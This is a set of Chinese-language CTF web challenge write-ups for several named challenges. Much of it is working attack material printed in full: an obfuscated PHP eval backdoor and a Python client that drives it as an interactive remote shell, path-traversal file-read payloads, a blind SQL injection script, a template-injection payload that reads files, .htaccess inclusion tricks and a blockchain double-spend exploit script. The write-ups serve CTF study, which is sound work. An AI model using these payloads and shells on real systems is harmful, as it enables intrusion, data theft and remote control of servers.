Web_php_wrong_nginx_config
进入页面发现是两个输入框
初步考虑是不是注入
发觉不论输入什么都是返回–>网站正在建设中
于是排除注入
拿出御剑
扫描到admin页面
然后抓包发觉存在isLogin=0(后面发觉全部的都有)–>初步想法肯定是要改这个参数的,只是不知道在那个页面中改具有意义
于是接着扫描
发觉robots.txt–>存在两个页面
于是均尝试一遍–>发觉在Hack.php中可绕过
然后点击发觉
管理中心处存在路径file=index状况类–>考虑可能是文件包含漏洞,即越权访问所有文件,且结合hint.php即考虑可能要构造读那个配置文件
于是尝试…/–>发觉被过滤掉
即利用…/进行绕过–>…/
file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=
读取到这个–>即构造出的niginx的页面
代码如下
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6
root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/
#server_name localhost;
# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
# Add stdout logging
access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
直接访问
/web-img#目录,发觉啥都没有
然后查了下大佬们的文档
发觉与Nginx中的alias用法有关–>即访问是从根目录中开始,location的路径会被丢弃
即需要web-img+…
即web-img../
Nginx中的两个用法
即在这里重要的是–>即alias的用法
location /web-img {
alias /images/;
autoindex on;
}
然后读取到很多文件
找了下
找到
输出一个f后得到php的代码
利用php格式美化后整理如下
$kh="42f7";#即密钥
$kf="e9ac";#即密钥
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
--->>>>然后再次查了下大佬的wp
在这里也可以利用–>
搜索正则表达式从而实现找到大佬的利用文章
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
发觉这玩意是个php的后门类的
相关混淆教程
利用方法–>更改url与密钥即可
# encoding: utf-8
# encoding: utf-8
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:40004/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
运行后–>执行即可
总结:这题好难
涉及考点
①扫目录后台
②修改cookie值从而越权登录
③文件包含利用–>从而读取泄露文件
④Nginx文件的读取
⑤php混淆代码利用
love_math
进入看到源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
条件
①存在c这个参数
②长度小于80
③c的值在白名单中
又根据正则匹配来看–>感觉要从编码的方向绕
因为相对来说php有点弱项
暂时放下 后面专题突破
Zhuanxv
①基本的信息收集
获取到路径–>/list
试了一下注入–>发觉没有基础的注入点–>于是排除
但是最后发觉是存在注入点的,但需要文件进行绕
②在基本思路排除后发觉有个文件的路径有点奇怪
即在中有filename–>考虑是不是存在文件包含漏洞
③于是进行改路径–>构造任意文件读取
但是因为经验问题–>有点迷读取什么文件
看了下大佬们的wp
发觉对于任何的mvc框架都具备web.xml文件–>即配置文件
构造payload
http://220.249.52.133:46292/loadimage?fileName=../../WEB-INF/web.xml
打开后发觉–>即struts2文件目录
发觉struts2文件中核心文件
apps-存放了所有Struts2的示例项目
docs-存放了所有Struts2与XWork的文档
lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件
src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放
struts.xml–>即struts的配置文件(且常见在classes中)
发觉一个与登录相关的类UserLoginAction
构造payload下载
http://220.249.52.133:46292/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
jd反编译
获取到源码
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1) {
return true;
}
addActionError("Username or password is Wrong, please check!");
return false;
}
获取登录检查的payload的方法
../../WEB-INF/classes/applicationContext.xml
获取到UserDaoImpl.class
获取方法同上
即登录语句的过滤规则
public List < User > loginCheck(String name, String password) {
return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
于是就回到了常规的注入了
附上脚本
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
url="http://220.249.52.133:46292/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
总结:
这题综合性很强
考点:
①目录扫描获取到list文件
②对文件包含敏感且知道怎么用
③知道MVC框架常见的xml核心文件
④知道如何下载类与反编译
⑤sql盲注必须会
Confusion1
直接打开burp进行扫描
发觉存在模板注入
于是求来到了常规的模板注入里
且发觉是python的模板注入
常用的模板绕
注入payload
{{''.__class__.__mro__[2].__subclasses__()}}
{{url_for.__globals__}}
{{config}}#即查看权限
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__#request请求模板注入即使用request.args进行绕过
最终payload
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
wtf.sh-150
题目目的:
①掌握文件包含漏洞利用和了解bash web server
②掌握cookie伪造方法且对cookie值敏感
考察基础能力:
代码审计能力
打开题目后,在经过常规的后台扫描扫完,但是并没有发现什么后
查看源码发觉有一个这个参数状况
怀疑可能跟这个传递参数有关
构造
/post.wtf?post=../#即访问上一层的实现
发觉读取到了源码
搜索flag这个相关–>获取到与flag相关的源码
发觉里面有个username=admin
于是构造payload跑到users里面去
去获取用户的cookie值
/post.wtf?post=../users/
然后利用伪造cookie进行即可获得前半部分的flag
USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
注意username与token必须与之前上传的参数保持一值
获取到第一部分的flag
Flag: xctf{cb49256d1ab48803
获取第二部分flag的方法
继续审之前的代码
max_page_include_depth=64
2
3 page_include_depth=0
4
5 function include_page {
6
7 # include_page pathname
8
9 local pathname=$1
10
11 local cmd=
12
13 [[ ${pathname(-4)} = '.wtf' ]];
14
15 local can_execute=$;
16
17 page_include_depth=$(($page_include_depth+1))
18
19 if [[ $page_include_depth -lt $max_page_include_depth ]]
20
21 then
22
23 local line;
24
25 while read -r line; do
26
27 # check if we're in a script line or not ($ at the beginning implies script line)
28
29 # also, our extension needs to be .wtf
30
31 [[ $ = ${line01} && ${can_execute} = 0 ]];
32
33 is_script=$;
34
35
36 # execute the line.
37
38 if [[ $is_script = 0 ]]
39
40 then
41
42 cmd+=$'n'${line#$};
43
44 else
45
46 if [[ -n $cmd ]]
47
48 then
49
50 eval $cmd log Error during execution of ${cmd};
51
52 cmd=
53
54 fi
55
56 echo $line
57
58 fi
59
60 done ${pathname}
61
62 else
63
64 echo pMax include depth exceeded!
65 pfi
66
67 }
这段代码表明–>服务器能解析并执行wtf文件
(即如果还能够上传 wtf 文件并执行的话,就可以达到控制服务器的目的。)
function reply {
2
3 local post_id=$1;
4
5 local username=$2;
6
7 local text=$3;
8
9 local hashed=$(hash_username "${username}");
10
11
12 curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
13
14 next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
15
16 next_file=(posts/${post_id}/${next_reply_id});
17
18 echo "${username}" > "${next_file}";
19
20 echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
21
22 echo "${text}" >> "${next_file}";
23
24
25 # add post this is in reply to to posts cache
26
27 echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
28
29 }
可评论实现路径穿越–>即写入后门
发觉可以对bash进行调用
即构造payload
wtf.sh
即可获得源码
不知道为什么一直写不进去后门
payload
reply.wtf?post=../user_lookup/sh.wtf%9
后面进行代访问user_lookup/sh.wtf
发觉在中的内容后
在构造路径与上面的同 进行读取即可获取到flag
总结
1.用户名字两种利用方法
即典型两种利用名字获取getshell的方法
①-->利用username用户中存在get类命令,从而实现可传值的思路进行构造命令执行
②-->利用上传信息或者其他类,进行构造bash通道,从而实现执行命令类
2.通道wtf构造bash的方法
blgdel
老规矩进行信息收集
扫描到一堆文件
看了一下config.txt文件–>发觉存在上传与搜索的配置功能
代码如下
<?php
class master
{
private $path;
private $name;
function __construct()
{
}
function stream_open($path)
{
if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
return 1;
$a=$array[1];
parse_str($array[2],$array);
if(isset($array['path']))
{
$this->path=$array['path'];
}
else
return 1;
if(isset($array['name']))
{
$this->name=$array['name'];
}
else
return 1;
if($a==='upload')
{
return $this->upload($this->path,$this->name);
}
elseif($a==='search')
{
return $this->search($this->path,$this->name);
}
else
return 1;
}
function upload($path,$name)
{
if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
return 1;
$filename=$_FILES[$name]['name'];
echo $filename;
$file=file_get_contents($_FILES[$name]['tmp_name']);
$file=str_replace('<','!',$file);
$file=str_replace(urldecode('%03'),'!',$file);
$file=str_replace('"','!',$file);
$file=str_replace("'",'!',$file);
$file=str_replace('.','!',$file);
if(preg_match('/file:|http|pre|etc/is',$file))
{
echo 'illegalbbbbbb!';
return 1;
}
file_put_contents($path.$filename,$file);
file_put_contents($path.'user.jpg',$file);
echo 'upload success!';
return 1;
}
function search($path,$name)
{
if(!is_dir($path))
{
echo 'illegal!';
return 1;
}
$files=scandir($path);
echo '</br>';
foreach($files as $k=>$v)
{
if(str_ireplace($name,'',$v)!==$v)
{
echo $v.'</br>';
}
}
return 1;
}
function stream_eof()
{
return true;
}
function stream_read()
{
return '';
}
function stream_stat()
{
return '';
}
}
stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');
?>
sql.txt中的内容
即数据库–>sshop
表–>users
字段–>id,username,mail,password,shopcar,point
CREATE DATABASE `sshop` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
USE `sshop`;
CREATE TABLE `sshop`.`users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NULL DEFAULT NULL,
`mail` varchar(255) NULL DEFAULT NULL,
`password` varchar(255) NULL DEFAULT NULL,
`point` varchar(255) NULL DEFAULT NULL,
`shopcar` varchar(255) NULL DEFAULT NULL,
PRIMARY KEY (`id`)
) DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
做到这里已经大致猜到了做这题的方法了
考虑注册一个账号且登录
但注册成功后发觉登录不了–>
①注册一个账号后,利用sql注入获取到账号和密码(可能性比较小),
②成功绕过实现上传文件(利用config.txt里面的内容进行绕开实现上传),获取getsehll权限
③获取flag
但是着实登录不上–>没办法,查看大佬们的wp
发觉着实是环境问题–>现在已经登录不进去了(有的时候环境会出问题-->即注册后不能登录
)
重新打开了几次环境
最后终于成功的登录上去了
然后在进行填了接近10次的推荐人后,终于将用户拥有了上传权限
上传一个一句话木马,发觉上传成功,心想应该没有那么简单
后面连接发觉确实存在问题–>查看config.txt中的upload发觉自动将文件内容中的<替换为了!
即意味从上传文件方式入手是不可能了
查看大佬们的wp
因为分析源码后发觉打开了master://协议
所以可以通过构造master协议用于搜索文件
php_value auto_append_file [filepath] #相当于文件包含,并在页面加载后自动运行
#.htaccess文件上传到/uploads/dlfunuijio/文件夹,所以.htaccess作用域只在/uploads/dlfunuijio/路径下
–>即通过上传内容为php_value auto_append_file master://search/path={}&name={}命令到.htaccess文件中且上传
从而实现将上传漏洞变为–>上传+包含漏洞(即目录遍历漏洞)的方法
实现
#第一次上传到.htaccess的代码-->作用实现文件包含
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
#随便上传一个php文件
#作用-->通过该php文件进行隐射出flag的内容
#第三次上传
php_value auto_append_file /home/hiahiahia_flag
#上传该文件到.htaccess进行读取flag即可
flag如下
cyberpeace{b6e8d3b0ae47bda921454ed93f25a934}
Web_python_block_chain
考点:双花攻击
一脸懵逼的点进去
一脸懵逼的点出来(虽然猜到了跟这个地址类型有关,但是着实没有思)
然后去翻大佬的wp
发觉这是–>区块链的双花攻击
解题脚本–>改IP与address
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
# 一堆变量常量
url_root="http://127.0.0.1:8004/"
url_create="http://127.0.0.1:8004/create_transaction"
url_flag="http://127.0.0.1:8004/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="8035b93fe9a77c9980187fe960c25c58b155e89197aff81397ffbf9839f8bd6230dcda2ce676196c52eb7d4db99b643d"
hacke_addr="8603657fab78f286cea3b21f03d4ba8533378eedbb3b9dcb44e92966e0a9ab73cd1e775908aa1d23c01e8286d6af84ed"
shop_addr="ab8fa2dbba011081385750c88cba4085d19d793a2a5b485366269378a3eeef9621fb792665b3a527bcde10b50bb8e567"
# 源码中的API
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)
return tx
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
# 构造的方法
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block
def create_feak_one():
utxo_first=create_output_utxo(shop_addr,1000000)
tx_first=create_tx([bank_utox_id],[utxo_first])
return check_hash(prev_one,[tx_first])
def create_empty_block(prev):
return check_hash(prev,[])
# 攻击过程
a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content
区块链双花攻击概念:即在 UTXO(区块链)中的一笔钱,可以花两次
攻击方法:51% attack-->攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上
原理:
①即通过区块链模式分块转钱后,构造出的区块链的主长度大于最开始的,因此区块链讲该链当作了主链–>即白花了1倍的钱
②因此要求算力:即一个人的算力最大,所以即形成一个比最长链长度大一的链
暂时玩不了,后面在学习